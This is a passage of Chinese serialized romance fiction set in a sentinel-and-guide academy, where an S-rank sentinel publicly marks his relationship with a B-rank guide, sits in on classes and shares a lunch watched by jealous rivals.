整个人看着年轻了好几岁，周身的气质也因为这样的装扮与以往大相径庭，不像一个站在联盟顶端，功勋卓著的铁血将军，更像是一个还在圣所中上学的年轻学员。 可这些还不是最让众人惊讶的，最令这些感知敏锐的年轻哨兵们心神震荡的是，他这身与以往完全不同的衣服上，居然萦绕着一股微微发苦，又无比清晰的向导素气息！ 这明显属于另一个人的气息，在陆厌离的身上，非但丝毫不显得违和，反而与他本人强烈的气场微妙地融合在了一起，显露出一种奇妙的和谐之感，冲淡了他身上那种让人感觉不易亲近的疏离。 那些认出了他的学员们，因为他今日这番极其特殊的打扮，纷纷面面相觑，而后交头接耳地低声议论了起来。看向他的眼神中，充满了难以置信与巨大的好奇。 可同时，这副奇异的打扮，也让他们止住了脚步，没有任何一个人敢上前去贸然打扰这位名声在外的联盟之星。众人纷纷为他让开了道路，看着这个浑身萦绕着陌生向导气息的联盟少将，就这么目不斜视地穿过了庭院，径直走向了院长办公室所在的行政主楼。 众人一路上的注目礼，并没有让陆厌离的步伐有丝毫的迟疑，除了这身与以往完全不同的装扮之外，他的行止并无什么不同，走起路来依然坚定而充满了韵律感。 一路行至已经许久没有造访过的院长办公室门外，这才停下了脚步，抬手敲响了面前厚重的大门。 “进。”一个沉稳的中年男声从门内传来，陆厌离依言，推门而入。 办公室内，哨兵学院的现任院长师瀚海正头疼地伏案处理着手上的文件，即使是对于他这个精力充沛的A级哨兵来说，这些繁琐的文书工作也是种折磨。 听到敲门声，他像是终于偷得了片刻的休息时间，急忙丢开了这些惹人厌烦的工作，深深吐出一口气，看向门口。 他的目光落在一步步走近的年轻人身上，第一眼，先是感到了一丝疑惑。面前这个一身闲适的年轻人，似乎有些面熟，可他被文件搅乱的脑子，一时转得有些缓慢，一下没想起来这是哪个班的学生。 然而，当来人越走越近，终于在窗外照射进来的阳光中，露出那头独特的灰色头发，与那张苍白瘦削的面庞时，他猛地愣住了。 随即，像是发现了什么极其有趣的事情，骤然爆发出了一阵洪亮的大笑。 “我没看错吧？陆厌离？！”师瀚海一下子从宽大的座椅上站了起来，绕到来人身前，前后左右地打量了一番，笑声更加夸张起来，几乎连眼泪都要笑出来了，“你今天这是……这是什么打扮？你这幅样子，要是让阿克塞尔那个臭小子看到，非吓死不可！哈哈哈！” “导师……”陆厌离有些无奈地看着这位在他面前完全失去了形象的长者。 当年他八岁就提前进入了塔中的初级训练班，远没到能够独立生活的年纪，就是这位塔分配下来的专属导师，一路亦师亦父地把他带大。 师瀚海虽然面上哈哈大笑，心里其实对今天陆厌离的模样高兴不已。 这孩子，是他从小一手养育教导起来的，那时候，也是他初入圣所哨兵学院的第一年，对他的情谊与后来的千千万万个学生不可同日而语。 同时，他也是亲眼看着这个天赋绝伦却命运多舛的学生，是怎么样从一个天真爱哭的孩子，一步步丧失了鲜活的气息，成长成一个一心为了联盟与家族服务，完全失去自我的强大兵器的。 当年知道对方彻底精神崩溃，被人道放逐时，他还曾为了此事多次向上级抗议争取。 前阵子，突然传来消息，说对方居然重新康复归来的时候，他不知有多高兴，一直在期待着二人的重逢。 可他万万没想到，归来之后二人的第一次见面，对方竟然会带给他这么大的一个“惊喜”。 身为经验极其丰富的高阶哨兵与导师，他几乎是在看到对方的第一时间里，就敏锐地捕捉到了那身衣服上属于另一个人的向导气息。看那气息与陆厌离本身精神力场的契合程度，与他如今高涨的情绪，很明显的，这个向导不仅与他的匹配度极高，私下的关系也十分密切。 今天，这小子还特意穿着这么一身被腌透了味儿的衣服，招摇过市地跑来学院里晃荡，这心思，简直昭然若揭！ 这下子，他最为头疼惋惜的两个孩子，居然都有了归宿，师瀚海不禁老怀大慰！ 心情轻松之下，不禁对着这个一直表现得对什么都兴致缺缺的学生开起了玩笑。 “啧！”师瀚海砸着嘴，摸着下巴，上下打量着陆厌离的表情，眼神中充满了戏谑，“我说今天学院里中弥漫的精神力场里，怎么透着一股子酸臭味，原来是某个小子跑来炫耀他家的向导了？怎么？怕别人不知道你是他的哨兵？还是说，你的竞争者还有很多个呢？” 陆厌离看了看自家导师，对于他的揶揄没有表现出任何的不好意思，坦荡荡地点了点头，一口承认了下来：“没错，我就是来警告那些小子的。” “哈哈！你是装都不装了啊？看来对这个向导很看重嘛！”师瀚海再次因为陆厌离的反应哈哈大笑。 “嗯……”提到江寻，陆厌离的脸上不禁露出一抹特外缱绻的微笑，“他特别好！” 看着面前的学生认真的神情，师瀚海真心为他高兴：“那你今天过来，不会就是让我知道有这么个人吧？” 师瀚海拍了拍陆厌离的肩膀：“说吧，跑来找我还有什么事？” 陆厌离对面前的导师说话，从来不用绕弯子，直接就说明了来意：“导师，我当年在圣所学习的时候，很多哨向协同、精神疏导与补偿的课程都没有认真听。现在，嗯……”说到这里，陆厌离终于感到有些不好意思，“现在，我可能马上就要用到，我想申请一张临时旁听证，去圣所那边听听课，补一补这方面的知识。” 师瀚海看着他这副有些不好意思的模样，又是好笑又是感慨。当年逼着他学这些东西的时候，他宁愿出门去做任务也不肯好好学。现在可倒好，都敢自己主动跑过来要和那些小孩子们一起上课了！ “当然没问题！”师瀚海大手一挥，十分痛快地从抽屉里抽出了一张空白权限卡，在系统上操作一番后，便顺利地在上面存入了陆厌离的个人信息。而后，利落地为这张卡片盖上了数字授权印章，“拿去！课程表还和以前一样，自己去哨兵核心上面查，要学就好好学，可别到时候半懂不懂地伤到了你家向导，跑来跟我哭鼻子！” 他说笑着将制作好的权限卡递给了陆厌离，待他伸手来接时，又像是突然想到了什么，眼中闪过一丝促狭的光芒。 低下头来，手指纷飞，在终端上操作了一番，随即，陆厌离腕上的终端“滴”的一声响，显示收到了一份加密文件的传输请求。 “再给你免费赠送一份赠品。”师瀚海压低了声音，对着他挤眉弄眼地说，“快接了，好好保存！这可是我压箱底的宝贝，不是最亲近的人概不外传！你拿回去好好学习学习，绝对让你受益终生！老师也不要求别的，到时候学成了，把人彻底搞到手了，把你那位带过来给我看看就成！” 闻言，陆厌离有些疑惑地同意了传输请求，文档开始一个个发送了过来。他随意地低头看去，随即，一连串令他瞠目结舌的标题便猛地从他眼前掠过： 《追求向导一百零八招（终极实战版附真实案例）》 《月光下的瑰色秘密：如何让你的向导拥有极致补偿体验》 《几个小道具，让向导对你欲罢不能》 《另类刺激：抛开循规蹈矩，让快乐来得更加淋漓尽致》 …… 陆厌离那张在外人面前一直吝啬表情的苍白面孔，在看到这些标题之后，以肉眼可见的速度迅速漫上了一层薄红。这浅浅一层红，在他白皙的皮肤上格外显眼，连耳根似乎都透出点粉色。 他猛地拍下右手，挡住了终端上的面板屏幕，动作间，甚至显出了一丝罕见的慌乱，却并没有动手取消文件的传输，也没有删除已经接收到的那些文件。只是隔着手背听着一声又一声文件传输成功的“滴滴”声，耳朵越来越红。 师瀚海看着他这副难得的窘迫样子，终于忍不住再次爆发出一阵哈哈大笑，给陆厌离递去一个“你懂我也懂”的眼神：“哈哈哈哈哈！臭小子！你也有今天！拿好了！这可是老师我的不传之秘！” 陆厌离抿紧了嘴唇，紧紧攥着手中那张戳上了印章的权限卡，又看了一眼仍在爆笑的自家导师，浑身因为羞窘完全紧绷了起来，脚下却跟生了根似的站在原地，听着那不断响起的“滴滴滴”的文件传输声。 直到最后一道声音响起，这才全身放松了下来。 随后，对着笑得前仰后合的导师，微微颌首，随即，几乎像是被人追似的僵硬转身，快步离开了这间办公室。 身后，师瀚海那豪放的大笑声仍在穿透门板传出来，久久不息—— 作者有话说：把“有主了”贴脑门上，到处招摇的猫猫[三花猫头] 第170章 顺利拿到了盖有院长印鉴的临时听课证， 陆厌离也不耽搁时间，立刻调出了今日哨兵学院的所有课程表，指尖在光屏上迅速滑动着， 从众多的课程中， 挑出了几个关于哨向协同、疏导与补偿的原理以及结合热管理之类的专业课程。 这些课程分布的年级不一，还好时间上的冲突并不太多， 陆厌离虽然没办法全部都去， 但集中一段时间补习的话，应该也能把当初落下的课程补上个七七八八。 他的目光一目十行地从筛选出来的课程上划过，再根据上课时间，挑选出最想去的课程，给自己安排好了今天一天的课程表，这才向着不远处的一栋低年级教学楼走去。 十分钟后， 那里有一堂《哨向结合基础概论》。 陆厌离对圣所的环境相当熟悉，虽然已经毕业许久， 但每一个教室的位置依然清晰地印在他的记忆中。他的步伐很快，五分钟后就找到了上课的教室。当他推开那间充斥着年轻活跃的气息的教室门时， 原本喧闹的教室立刻因为这个陌生人的突然到来安静了不少。 “咦， 这是谁？” “新的老师吗？” “不认识，导师也没说要请假呀？” 这门课程是开设在初级训练班二年级的，按照一般哨兵十二岁进入初级训练班的年纪来算， 如今在课堂里的， 大多是些不到十五岁的少年少女。 陆厌离这个在他们眼中已经属于“大人”的存在，立刻引起了孩子们的小声议论。几十双清澈的眼睛，好奇地看向了他这个不速之客。 这些仍然在象牙塔中的孩子们，尚未完全学会成年人的矜持与权衡利弊，只觉得这个突然出现的冷脸大哥哥， 看起来又酷又有点吓人。 陆厌离没有理会这些小孩子的窃窃私语，目光扫过教室，一点儿也没有掩饰的意思，径直走向第一排最中央，离老师最近的那个位置，坦然落座，将那张刚刚出炉的临时听课证放在了桌角上。 他的动作又是引起了一阵小声的惊呼，恰在此时，上课铃声响起，这节课程的授课导师微笑着走进了教室。 与向导学院那边几乎所有的导师都是向导不同，哨兵学院这边，除了各种实践课、战斗课程是由哨兵导师来授课，还有许多的向导导师负责一些研究理论型的课程。 像这节课就是如此，授课导师是一位年纪不太大的中级向导。 一走进教室，他的目光同样被第一排坐着的那个，气质与周围躁动的少年们格格不入的成年哨兵所吸引。可他的修养明显比这群年轻人深厚得多，只在第一时间流露出了一丝诧异，随后，看到放在桌角的那张特殊的听课证后，面上便露出了了然。只是若有所思地看了这张有些熟悉的面容一眼，便正常地开始了今天的课程。 “……因此，初步的精神链接建立，需要双方极高的信任度与精神力共鸣……”导师在台上讲解着基础知识。 台下，越来越多的人认出了那张脸，好奇心旺盛的少年们嗡嗡嗡的议论声越来越大。 “你们看！我说有点眼熟吧，他就是那个陆厌离……” “哪个哪个？你认识啊？” “你傻啊！还有哪个？那个S级的陆少将啊！你没看过新闻啊？” “哇！真的假的？他怎么会跑来圣所？还来听我们的课？” “……你们说，他该不会是在追求我们瑞恩导师吧？……哎呦！你干嘛打我！” “你是不是哨兵啊？他衣服上那么明显的向导气味你闻不到啊？” “这衣服尺寸是不是不太对？……他不会是在哪个向导那里过了夜就直接穿了人家的衣服来吧？哇！这也太刺激了吧？！” 年轻躁动的哨兵们正是荷尔蒙旺盛的时候，此时发现了陆厌离堂而皇之表现出来的暧昧信息，一个个都兴奋了起来，窃窃私语声逐渐控制不住地增大，几声格外明显的低声惊呼，终于令台上的导师沉下了眉头，用教鞭敲打在桌面上，严厉的目光直直扫向了声音最大的后排区域：“安静！不想上课的人自己出去，不要影响其他人听课！” 这一声训斥终于让教室重新安静了下来，但嘴巴是闭上了，无数道目光依旧不受控制地不住瞟向前排那个认真听课的背影，肩膀一撞，一个兴奋的眼神交换，便是一个心照不宣的嘿嘿低笑。 整堂课就在这样一种浮躁的气氛中匆匆结束。 铃声一响，台上的导师刚宣布了下课，陆厌离便立刻起身，收起听课证，转身离开了教室，赶往他给自己安排的下一个课堂。 他刚一踏出教室，身后就如同炸开了锅一般沸腾了起来。 一整个上午，类似的场景在哨兵学院好几个年级的课程教室中轮番上演。这位吸引了所有人目光的陆少将，总是突如其来地出现，安静地坐在第一排上课，听完课便迅速离开，只留下身后一片被他惊讶到的学员们。 不到中午，校园论坛上便被这个新鲜的消息完全占据，各种猜测与八卦如病毒一般迅速流传了开来，并且，在几个有幸参加了星辉盛宴的学员的添油加醋之下，更多的细节开始在整个哨兵学院中疯传了起来。 “夏因”这个名字，也在此时突破了学院的限制，被众多哨兵们在各个帖子、传闻中提起。关于陆厌离已经与这位B级向导建立了固定疏导关系的传闻，瞬间成了整个圣所最炙手可热的话题。 而许多同时知道哨兵学院的首席洛伦茨，与这位“夏因”过往纠葛的人们，也在此时把看好戏的目光挪到了另一个人身上。 “哎，你们听说过那位的事没？” “你也知道啊？我听说这个夏因向导就是之前洛伦茨……” “可不是嘛！洛伦茨之前不是经常跑去向导学院那边吗？就是去找的他！” “哎呦，那他这是和陆少将一起做这个夏因的固定哨兵了？从陆少将手上抢绑定资格，那可有点难了！” “嗨！根本没他的事！你们不知道啊？他和那个向导闹掰了！” “啊？什么时候的事啊？之前不是还好好的吗？” “就上周积分赛时候的事！听说他把这个夏因坑了一把，跑去和别人搭档了！” “啊？那不是说，他刚把人甩了，人家就被陆少将这样的大人物追求了？” “可不是嘛！嘻嘻，不知道他现在什么感觉……” 陆厌离对于在他身后发生的一切流言蜚语都毫不在意，或者说，这正是他想要达到的效果。一整个早上，他都穿着那身充满了江寻气息的衣服招摇过市，如同一个移动的告示牌，向所有人宣告着他们的关系。 很快，上午的课程全部结束，最后一堂课敲响下课铃的时候，陆厌离没有丝毫犹豫地从这个高级战术班中转身离开，径直朝着与哨兵学院毗邻的向导学院走了过去。 这个明显的动向让那些一直关注着他的人瞬间明白了过来，圣所论坛里炸开了锅，关于这位陆少将一早上在哨兵学院这边闹出来的传闻，也在此时，以极快的速度蔓延到了向导学院那边。 几个在今早的议论中，信誓旦旦地表示两人一定有了密切关系的学员，成为了消息传播的主力军，关于两人亲密关系的传闻，如瘟疫一样在整个圣所中流传了开来。 * 江寻这边还不知道即将到来的风波，当下课铃声响起时，依然如故地收拾起了感应板，随着人流开始向外走去。一边走，一边滑开了腕上的终端，想要问问看陆厌离中午要不要一起吃饭。 然而，还没等他向对方发去通讯，刚一踏出星环大厅，他就敏锐地察觉到了外间格外热闹的气氛。 密集的人群，好奇的目光，自以为隐蔽的指指点点，兴奋的惊呼声，都在告诉着他，有什么不同以往的事发生了。 飘过耳边的只言片语，让他有了某种不祥的预感。 又出什么事了？ 还没等他理清头绪，大厅前方的的主步道上，突然爆发出一阵更加明显的骚动。无数人流涌了过来，又如摩西分海般向着两侧散开，让出中间的一条道路来，江寻循着众人的视线向着道路中间望去，悬着的心终于死了。 只见消失了一早上的陆厌离，正一步一步地穿过人群，向着星环大厅这边走过来。他依然是早上与江寻分别时的那个样子，一身宽大的休闲装夹杂在圣所的两色制服中，显得格外突兀。 啊，果然没错，真的是他…… 江寻有些无奈，又感觉有些莫名好笑。 他早上在被人问起时含糊其辞，犹豫着要如何低调地处理好两人的关系，不为对方带来太大的影响。结果这位当事人自己先闹出了这么大的动静。他这一下堂而皇之的上门，自己之前所有的敷衍与隐瞒也就全部化为了徒劳。 这时，跟在江寻身后走出星环大厅的几个同班学员，终于也发现了外间的情况。还没有去论坛上看过的几人还不知道此时发生了什么状况，纷纷挤上前来凑热闹。顺着众人的目光望去，却看到了那个早上还出现在他们口中的大人物，眼眸瞬间睁大，发出一阵抽气声。 “我的天……那不会是……陆少将吧？” “他怎么会在学院里？” “那还用问吗？！”一个早上刚刚八卦地追着江寻盘问过的女同学，立马将兴奋的目光在陆厌离与旁边的江寻身上来回游移，“当然是为了我们夏因向导来的了！” “夏因，你这就太不够意思了啊？人都亲自找过来了，你还给我们说只是‘有点’交情啊？” 听到了如此劲爆的消息，身边的其他向导学员也纷纷停下了脚步，驻足用好奇与羡慕的目光看向他们身边这个，除了外表比较俊朗一些，其他地方看起来与一般的向导学员并没有什么不同的同学。 随着陆厌离的一步步走近，更多的人看清了他的样子。一个眼尖的学员像是想起了什么似的猛地睁大了眼睛，难以置信地低呼出声：“等等！他穿的是什么？那件衣服……我好像看夏因穿过……”他不可思议地将目光转向江寻，“夏因，那该不会就是你的衣服吧？” 这句话如同投入了水面的石子，刹时在周围的众位学员中激起了更大的波澜。 许多从外域过来的向导并不懂这种风俗，可这里世家出身，或者对哨兵之间某些约定俗成的规则知之甚深的学员，都知道这是什么意思，激动地压低了声音，向周围仍然一副莫名其妙的表情看向他们的同窗解释了起来： “天哪！是标记！你们不知道吗？哨兵带着向导的贴身物品，或者把自己的贴身物品给向导带着，在其他哨兵面前，都是像火炬一样明显的标记信号，等于向所有人宣告这个向导已经和他建立固定的疏导关系了，威慑那些想要和他抢同一个向导的哨兵！” “陆少将这是在向我们所有人宣告呢！” 周围的人群瞬间恍然大悟，惊呼与嘈杂的议论声，又迎来了一个高潮。 江寻同样也是第一次听到这种风俗，此时终于明白了早上陆厌离为什么不想回家换衣服，也清楚了现在这一阵轩然大波所谓何事。忍不住没好气地瞪了已经走到近前的陆厌离一眼。 陆厌离一早上在别人面前炫耀时都毫无异色，这会儿离江寻越来越近了，还是不免心虚了起来。几步走到江寻面前，一双碧绿眼眸一眨不眨地看向他，里面带着小心翼翼的紧张与期待。 因为两人的靠近，周围看热闹的人群也渐渐安静了下来，却能感受到所有人聚焦在两人身上的目光，众人都热切地关注着下一步的发展。 众目睽睽之下，陆厌离试探性地伸出手，轻轻触了触江寻的手背，看他没有主动来拉自己，微不可见地撇了撇嘴，有点委屈，又低下头去，把自己的手往江寻自然蜷起的手心里塞去。 江寻没有躲避，但是在外人看不到的角度，他的指尖在陆厌离塞手进来时，在他的手掌上不轻不重地掐了一下。 拉着陆厌离微微倾身，用只有两个人才能听到的音量低声问：“你知道是不是？早上不告诉我……是不是故意的？” 陆厌离的注意力都集中在江寻在众目睽睽之下对他的亲近上，耳边被他口中呼出的热气吹拂，一下就红了一片。反应了片刻才听懂了江寻的话，却只是反手将五指紧密地插入江寻的指缝之间，紧紧握住，用无辜的语气低声含糊道：“知道什么？我只是……没带备用的衣服。”眼睛却不敢抬起去看江寻。 这装傻的模样与小树如出一辙，让江寻不禁好气又好笑，却又拿他这副样子没办法。紧了紧手指，让陆厌离发出小声的哼唧，这才道：“哦？你不知道，那你怎么知道我说的是衣服？” “嗯？”陆厌离这才反应过来自己漏了陷，偷偷抬眼觑了一下江寻的眼神，发现他没有真的生气，心下稍安，也不装了，得寸进尺地又贴近了一步，亲亲热热地偎在了江寻身旁，直接拉着他的手往前拽了拽：“我饿了……去吃饭吧。” 两人这副亲密的样子，又引来一阵兴奋地低呼。江寻已经不敢去想明天会有什么样离谱的流言传出来了，叹了口气，干脆不再去注意身边的人群，任由陆厌离在无数道目光的注视下，牵着他向着向导食堂的方向走去。 两人所过之处，人群自动分开，只留下身后一片炸开的激动议论声。 一路之上，还有不少人闻讯前来观看这第一手的新鲜新闻。甚至江寻还看到了几个在星网上小有名气的学院博主，直接打开终端现场直播了起来。 还没走到食堂，论坛上已经是传得有模有眼，更有许多机灵的学员，已经提前在食堂餐厅中落了座，等待着新闻中心的两人缓步前来。 前往食堂的路上，陆厌离一直紧紧牵着江寻的手，嘴角微勾，毫不掩饰他的好心情。能在所有人面前光明正大地与江寻表现亲密，让他心底的某种欲念得到了充分的满足，脸上始终挂着一抹毫不掩饰的喜悦笑容。 他如今这副样子，与以往出现在各种公开场合与新闻视频中的冷淡疏离模样截然不同，看得周围一众偷偷围观的学生几乎全都露出了不可思议的惊讶表情。 可被他们凝视的当事人却对他们的情绪视若无睹，所有的注意力全都集中在身旁的江寻身上，一路走着，一路小声与他描述着自己一早上的经历，只是在说到导师送给自己的礼物的时候一下子卡了壳，偷看一眼，发现江寻没注意到他的停顿，才若无其事的把这件事一笔带过。 二人一踏入食堂，里面就突然安静了一下，而后，又扬起了貌似正常的鼎沸人声。 江寻一眼扫过，便发现了众多悄悄瞥过来的目光，不禁有些头疼。 想说些什么，可侧头看到陆厌离那副兴致勃勃的模样，到了嘴边的话又咽了回去。 想了想，看向陆厌离，试着提议：“这里的人太多了，要不我们去楼上的包间？会安静一点。” “嗯？都听你的。”陆厌离点了点头，目光却不自觉地瞟向面前热闹又宽敞的大厅，眼神中流露出一点小小的失望。 一直关注着他的江寻马上便捕捉到了这一闪而逝的情绪，有些不解：“想在这里吃？”他看了看周围熙熙攘攘的人群，“为什么？” 陆厌离抿了抿唇，声音更低了一些，话语中带着一点浅薄的怀念与遗憾：“我小时在圣所念书的时候，能力刚刚觉醒没多久，还完全控制不好……根本没法来这种人多的地方，都是自己呆在室内吃的，现在……”他抬眼看向江寻，目光中闪动着明亮的光芒，“能和你一起来这里吃饭，我感觉……”他想了想，有点不好意思吐出想要说的那个字眼，只得含糊接道，“很好。” 江寻的心像是被什么冰凉凉的东西轻轻戳了一下，这才想起自己看到过的资料：“你初入圣所的时候，是八岁？” “嗯。”陆厌离点了点头，指了指两人面前的餐桌，笑说：“还没这个桌子高呢。” 江寻的心酸软下来，自从重逢以来，他似乎常常为了陆厌离心头酸涩。没有抑制这股情绪，他立刻改变了自己一分钟之前的打算，拉着陆厌离便走向了一楼大厅的用餐区：“那我们就在这里吃。” 果然，江寻的话一出口，陆厌离的脸上便瞬间重新焕发出了光彩，重重一点头：“嗯！”接着，高高兴兴地跟着江寻一起走进了大厅。 去往餐台前选餐时，陆厌离就像个大型挂件，亦步亦趋地跟在江寻身后，一路走过琳琅满目的餐牌，似乎是想克制，可眼神中又不自觉地流露出新奇与跃跃欲试，一路走，一路兴致勃勃地小声与江寻交流着： “这个……是什么？”他指着光屏上一种裹着酱汁的炸物偷偷和江寻咬耳朵，得到回答以后，安静不了多久，又指指菜单上另外一道名字奇特的菜品询问。 江寻耐心地一一回答，他知道陆厌离严苛的过去，知道陆厌离一直以来都独来独往，作为陆家与军部的尖刀无往而不利，可到了今天，才像是真真切切地触碰到了作为陆厌离本人的那一面。 看着他对着各种十分寻常的事物都表现得这样好奇，为了与自己在公开的场合里吃一顿饭便如此高兴，心里不禁软成了一片，只想对他再好一点。 他拉了拉陆厌离的手，在他看过来时点了点前方的另一个档口：“去那边看看，那边的菜都有样品可以尝试，你喜欢哪个，我们就点哪个。” 陆厌离眼睛一亮，立刻不着痕迹地高兴了起来，拉着江寻就凑到了前面的柜台前，认真地观察着玻璃柜里的菜品，小心地取了旁边提供的小叉子一一尝试了过去，又选了好几样转过身来喂给江寻，让他也尝尝，认真地与江寻讨论着，最后才满意地选定了几样：“这个，这个，还有那边那个鱼，旁边那个虾……” 陆厌离小声地给江寻念叨着，一脸的兴致盎然。江寻也听着他的指挥，依言一一给他点好菜，刷了终端付款。 点餐的过程里，陆厌离一直乖乖地端着餐盘，亦步亦趋地跟在江寻身后，直到看着江寻把两人商议好的所有菜品都买了下来，放到了他手中的托盘上，才兴高采烈地追随着他，找到了一张空桌坐了下来—— 作者有话说：一点甜蜜蜜的日常[三花猫头]《 》 170-175 第171章 陆厌离选餐时选了不少菜品， 但因为每份都是单人份的，哨兵本身食物的摄入量也比向导多许多，所以总体来看， 也不算太多。 江寻把托盘上的菜品都布在了桌子上， 看着陆厌离兴致勃勃地对每样食物发起了“攻击”，这才笑着一起吃了起来。 一开始， 陆厌离吃得还算认真， 可很快，他的速度就慢了下来，眉头微微蹙起，吃东西的动作也变得有些迟疑，时不时偷偷抬眼瞟一下江寻。 “怎么了？”江寻注意到了他的异常，“不合胃口吗？” 陆厌离摇了摇头， 犹豫了一下，才小声说：“刚开始吃还挺好吃的， 但是吃得多了……味道有点重。” 江寻一楞，随即失笑， 他没有特别注意过其他哨兵的饮食， 倒是忘记了这一茬。哨兵的味觉比普通人要敏锐好几倍，这样浓郁的味道，对于普通人来说恰到好处， 但对于他们来说， 就有些过于刺激了。 “而且……”陆厌离又用叉子小心戳了戳餐盘里的鱼块和那只完整的大虾，声音更低，话语里也带着点不易察觉的委屈：“这鱼好多刺……虾壳也好难剥……以前，你都帮我弄好的……” 听他提起以前，江寻立马想起了记忆中的画面， 神情更添温和。的确，以前他还是小树的时候，就格外挑食，他记得那时候，自己成天要出去给他抓新鲜的鱼，而且都要挑好刺、片成薄片他才肯吃。 “抱歉，是我疏忽了。”江寻认真地道了歉，语气更加和缓，想了想，起身去旁边的饮品区要了一小碗干净的温水，回来取了陆厌离面前的餐盘，将里面的鱼块、大虾夹起来，在水里涮了涮。又熟练地拿起餐具，仔细剃掉了鱼刺，剥掉了虾壳，这才将处理得白白嫩嫩的鱼肉与虾肉重新放回了陆厌离面前。 “试试看，这样会不会好一点？” 陆厌离握着刀叉，眼巴巴地看着江寻为他忙碌，又在他投喂过来时，高高兴兴地接过来，眯着眼睛吃了下去，仿佛经过了江寻这一道小小的加工，这寻常的菜肴就变成了什么山珍海味。 江寻看着他的样子，会心一笑：“以后中午，你要是还留下来吃饭的话，我陪你去哨兵餐厅那边吃吧，或者……”江寻把面前放着鱼块的盘子挪到了自己面前，继续挑起了鱼刺，“我早上起来早一些，给你做便当带过来？” 陆厌离猛地抬起头，眼睛瞬间亮得惊人，绽出一个灿烂的微笑：“好！” 两人在这边厢旁若无人地一起用餐，一个自然而然地照顾，一个心安理得地享受，中间的和谐气氛，每一个相处细节，都落在了周围无数偷偷观察的人群眼中。 围绕着他们的这一片区域，陷入了一种诡异的安静之中，周围的人连掩饰都忘了，脸上写满了巨大的惊异。 这两个人居然如此熟稔，这绝不可能是刚认识了一天的关系！这种自然而然的亲昵与抱怨，眼神交错间的温和与信赖，甚至比一些已经绑定的哨向伴侣还要来得默契，分明是长久相处过后才能形成的深厚情谊！ 而且……他们看到了什么？那个几乎站在整个联盟最顶端上的S级哨兵，联盟荣耀之星的陆厌离，不仅十分依赖这个看起来很寻常的B级向导，还会为了口味不合这种小事出声抱怨？！甚至……理所当然地要对方帮他剃刺剥虾？ 天可怜见！他们哨兵可是从最初级的训练班开始就要练习各种体术，学会在各种极端艰难的条件下完成任务的战士！别说是什么鱼刺了，就是坚硬的骨头在他们的牙齿下也是一咬即碎的好吗？！他们面前这位真的是那个传说中的陆少将吗？他们竟然不敢相信这是同一个人！ 所有人都在为了这巨大的反差死死盯着江寻二人，兴奋地议论着今日这个重大的八卦。而此时，在食堂喧闹的另一端，同样有人把目光全部集中在了江寻两人的身上。 靠近墙角立柱的阴影里，洛伦茨放在餐盘中的食物几乎一口未动。他的目光从江寻两人进门起就始终刺在两人身上，脸色阴沉难看。 特别是看到夏因，连一口普通的食物都要亲自处理干净，再喂给陆厌离时，强烈的不甘便如一把钝刀，反复劈砍着他的内心。 在之前那么久的一段时间里，他始终如一地追逐在夏因身后，送礼物、做挡箭牌、放下身段一次又一次地邀约，在他面前永远维持着最好的风度与面貌，为了他不惜得罪了许多人。最后，他甚至都不奢望能获得他的青睐成为他唯一的绑定哨兵，只想要一个固定的疏导关系。 然而，从头到尾，什么都没有！对方面对他时，永远是一副礼貌而疏远的态度，不要说固定的疏导关系了，他连私下的约会、一点儿的暧昧都没有分给自己。 不过，被拒绝的不仅仅只有自己，没有任何人能靠近对方，这也给了他一定的安慰。他以为夏因就是这样一个人。天性冷淡，对所有人都一样。又或者以前受到了哨兵的伤害留下了阴影，从此不打算接受任何一个哨兵。 长久的徒劳无功，这才让他下定了决心放弃对方，接受了弗兰克与桑扶的橄榄枝，背叛了这个与自己有着绝高匹配度的高级向导。 可结果呢？他不仅在离开自己之后，马上便有了另外一个哨兵，而且把那份自己见都没有见过的温柔与体贴，如此轻易地便全部给了他？！原来他不是天生不会爱人，只是不肯把这份心意施舍给自己一分一毫！ 更让洛伦茨难以忍受的是，自从他投靠了弗兰克与桑扶以来，他便再也不能直起脊梁在他们面前说话。而且，他们的承诺都在不可见的未来里，而要达成这样的未来，让他们履行自己的承诺，至少在毕业之前的这段日子里，他便要时时刻刻对他们言听计从。 他的报酬还没见到，可损失已经实实在在落在了身上。 因为这次的事情，他在圣所内部的威望折损了许多。虽然其中有一些学员理解他的选择，可更多的出身平民亦或者心思古板的学员，却根本不懂他的难处。昔日里敬畏崇拜的目光都化作了鄙夷与不齿，特别是在今天早上，这个陆厌离公开为夏因站台之后，连剩下的一些原本对于这件事并无兴趣的人们，也开始嘲笑起他的有眼无珠。 一朝从万众敬仰的天骄位置上跌落下来，这种落差感，令他的骄傲与自尊饱受折磨。 “哼！真能显摆！”旁边坐着的桑扶同样脸色铁青，看向那边的目光怨毒，却自虐一般不肯从江寻身上移开目光，紧紧攥着叉子狠狠戳着盘中的食物，“也不知道是用什么手段钓到了陆厌离这种等级的靠山，昨天刚认识就把人带回去睡了，今天还搞得这么高调，生怕别人不知道他攀上高枝了？以前那副清高不争的样子果然都是装出来的！” “还有那个陆厌离！”桑扶的目光移向伸长了脖子去接江寻投喂的陆厌离，目光中又是恼怒又是嫉妒，“我看他就是缺爱吧？以前没见识过向导，让夏因缠上脑子都不清楚了，一个联盟顶级的S级哨兵，被一个B级向导迷得晕头转向，玩个恋爱游戏，还要搞得所有人都知道，也不觉得丢人现眼！” 桑扶一番话说完，根本停不下喋喋不休的抱怨与恶毒的咒骂，一句句负面情绪不断地发泄出来，一下又一下刺激着洛伦茨本就紧绷着的神经。 “闭嘴，别说了！”洛伦茨终于忍无可忍，从牙缝中挤出几个字，声音冰冷。 桑扶如今不敢公开去招惹江寻，一个早上下来，已经憋得极其难受，如今在背地里发泄一下，还要被这个投靠过来还一直不给自己好脸色的家伙吼，顿时火冒三丈。 他猛地转过头去，脸上露出极尽刻薄的嘲讽笑容，凑近了洛伦茨，声音尖锐：“怎么？心疼了？我有说错吗？洛伦茨，你是不是肠子都悔青了？嫉妒了？你看看，你一走，人家转头就找到了更好的！S级哨兵！这是你不知道什么时候才能爬上去的等级！更不要说人家还是陆家少爷，联盟双星！看看夏因，第一天和人家见面就带他回家了，你再看看你……” 他戏谑而怨毒的目光转移到了洛伦茨身上，刻意上下打量了一番，看着洛伦茨因为他的话语瞬间更加难看的脸色，心中涌起一股扭曲的快感。 “有没有觉得自己特别失败？特别嫉妒？”桑扶倾身向前，在外人看来几乎要吻上洛伦茨，可口中吐出的却是狠毒的恶意，“天天打扮得人模人样的，一副善解人意任劳任怨的样子，舔了人家那么久，花费了那么多时间精力，人家正眼瞧过你吗？” 